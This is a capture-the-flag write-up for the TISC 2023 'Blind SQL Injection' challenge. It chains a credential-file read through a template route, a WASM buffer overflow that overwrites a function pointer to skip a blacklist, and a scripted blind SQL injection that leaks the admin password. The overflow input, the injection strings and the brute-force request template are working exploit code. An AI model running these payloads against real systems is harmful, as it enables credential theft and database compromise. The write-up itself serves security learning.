Level 8: Blind SQL Injection (Web/RE/Pwn/Cloud)
This is my favorite challenge 😃
We are given a server.js file which starts an express application.
The /api/login route passes our input to a AWS lambda function craft_query which tests the input against a blacklist. If it passes the blacklist, the result of the lambda function is executed as SQL.
app.post('/api/login', (req, res) => {
// pk> Note: added URL decoding so people can use a wider range of characters for their username :)
// dr> Are you crazy? This is dangerous. I've added a blacklist to the lambda function to prevent any possible attacks.
const username = req.body.username;
const password = req.body.password;
// ...
const payload = JSON.stringify({
username,
password
});
try {
lambda.invoke({
FunctionName: 'craft_query',
Payload: payload
}, (err, data) => {
if (err) {
// ...
} else {
const responsePayload = JSON.parse(data.Payload);
const result = responsePayload;
if (result !== "Blacklisted!") {
const sql = result;
db.query(sql, (err, results) => {
// ...
});
}
}
});
} catch (error) {
// ...
}
});Unfortunately, simple SQL injection payloads like a' or 1=1;-- return "Blacklisted!".
Therefore, our next step will be to obtain the source code for the lambda function.
Luckily, there is a route within this application that allows us to render arbitrary files as a .pug template:
app.post('/api/submit-reminder', (req, res) => {
const username = req.body.username;
const reminder = req.body.reminder;
const viewType = req.body.viewType;
res.send(pug.renderFile(viewType, { username, reminder }));
});Reading /root/.aws/credentials reveals the AWS access key ID and secret:

Now we can use the aws cli to download the source code for the lambda:
➜ aws lambda get-function --function-name craft_query | grep Location
"Location": "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/craft_query-a989953b-8c24-41f0-ac22-813b4ca32bbc?....."
➜ curl -o code.zip -L https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/craft_query-a989953b-8c24-41f0-ac22-813b4ca32bbc?.....Unzipping the source code reveals a WebAssembly .wasm file, as well as a short JavaScript wrapper for the wasm module:
async function initializeModule() {
return new Promise((resolve, reject) => {
EmscriptenModule.onRuntimeInitialized = () => {
const CraftQuery = EmscriptenModule.cwrap('craft_query', 'string', ['string', 'string']);
resolve(CraftQuery);
};
});
}
let CraftQuery;
initializeModule().then((queryFunction) => {
CraftQuery = queryFunction;
});
async function login(username, password){
if (!CraftQuery) {
CraftQuery = await initializeModule();
}
const result = CraftQuery(username, password);
return result;
}It seems like the function of interest is the craft_query function.
Since this is a pwn challenge, I decided to test the behavior of the code on large inputs before decompiling the WASM with Ghidra.
;(async ()=>{
initializeModule();
console.log(await login("a".repeat(100), "b".repeat(100)))
})()As expected, the program crashed, indicating some kind of buffer overflow:
RuntimeError: memory access out of bounds
at wasm://wasm/456522fa:wasm-function[14]:0x1131
at wasm://wasm/456522fa:wasm-function[15]:0x1170
at wasm://wasm/456522fa:wasm-function[9]:0xde2Interestingly, only the username field seems to overflow the buffer.
Here's the decompiled craft_query function in Ghidra:
undefined4 export::craft_query(undefined4 username,undefined4 password)
{
undefined4 uVar1;
undefined password_stack [59];
undefined uStack85;
undefined uname_stack [68];
uint func_ptr;
undefined4 uStack8;
undefined4 uStack4;
func_ptr = 1;
uStack8 = password;
uStack4 = username;
username_processing(uname_stack,username);
unnamed_function_15(password_stack,uStack8,0x3b);
uStack85 = 0;
uVar1 = (**(code **)((ulonglong)func_ptr * 4))(uname_stack,password_stack);
return uVar1;
}The 'function pointer' on the stack is immediately suspicious. In WebAssembly, functions are referenced by their index in a global function table, so if we we can change the value of func_ptr, we can change the function that is called.
To investigate the memory layout in the craft_query function, I ran node in debug mode and attached a Chrome debugger:
node --inspect-brk=0.0.0.0:9229 index.jsSetting a breakpoint at the instruction where func_ptr is called, we can observe the stack:

uname_stack is outlined in red, func_ptr is outlined in green and password_stack is outlined in blue. If we can overflow uname_stack, then we can modify func_ptr located right after it.
After doing more reversing, it turned out that username_processing did not do any bounds checking on uname_stack and copied username to uname_stack after URL-decoding it.
After yet more debugging and reversing, it seems that func_ptr points to the query_with_blacklist function (originally named is_blacklisted), which checks the username and password against a blacklist. If it passes the checks, the load_query function is called to generate the SQL query.
char * export::query_with_blacklist(undefined4 username,undefined4 password)
{
uint uVar1;
char *pcStack4;
uVar1 = check_blacklist(username);
if (((uVar1 & 1) == 0) || (uVar1 = check_blacklist(password), (uVar1 & 1) == 0)) {
pcStack4 = s_Blacklisted!_ram_00010070;
}
else {
pcStack4 = (char *)load_query(username,password);
}
return pcStack4;
}Using the buffer overflow vulnerability, we can overwrite func_ptr to point to load_query instead of query_with_blacklist, thus bypassing the blacklist checks. It turns out that load_query has function index 2.
Since the uname_stack buffer is 68 bytes long, the 69th character will overwrite func_ptr:
;(async ()=>{
initializeModule();
console.log(await login("a".repeat(68)+"%02", "b\" or 1=1;--"))
})()This allows the SQL injection payload in the password field to bypass checks:
➜ node index.js
SELECT * from Users WHERE username="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" AND password="b" or 1=1;--"Now, all that's left is to write a fartlib script to leak the admin's password using the blind SQL injection vulnerability:
from fartlib import *
req = FartRequest("""
POST /api/login HTTP/1.1
Host: chals.tisc23.ctf.sg:28471
//...
username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasaaaaaaaaaaaaaaaaaaaaaaaaaa%02&password=%22or(username%3d'admin'and%20ascii(substr(password%2cINDEX%2c1))%3dCHAR)%23
""")
charset = [x for x in "01357etoanihsrdluc24689g_wyfmbkvjxqzpETOANIHSRDLUCGWYFMBKVJXQZP{}"]
known = 'tisc{'
for i in range(30):
res = HttpWorker(reqs=req.substitute(CHAR=[str(ord(x)) for x in charset],INDEX=str(len(known)+1)), show_progress=False).get_first(lambda res: res.content_length > 46)
known += chr(int(res.payloads[0]))
print(known)The flag is tisc{a1PhAb3t_0N1Y}.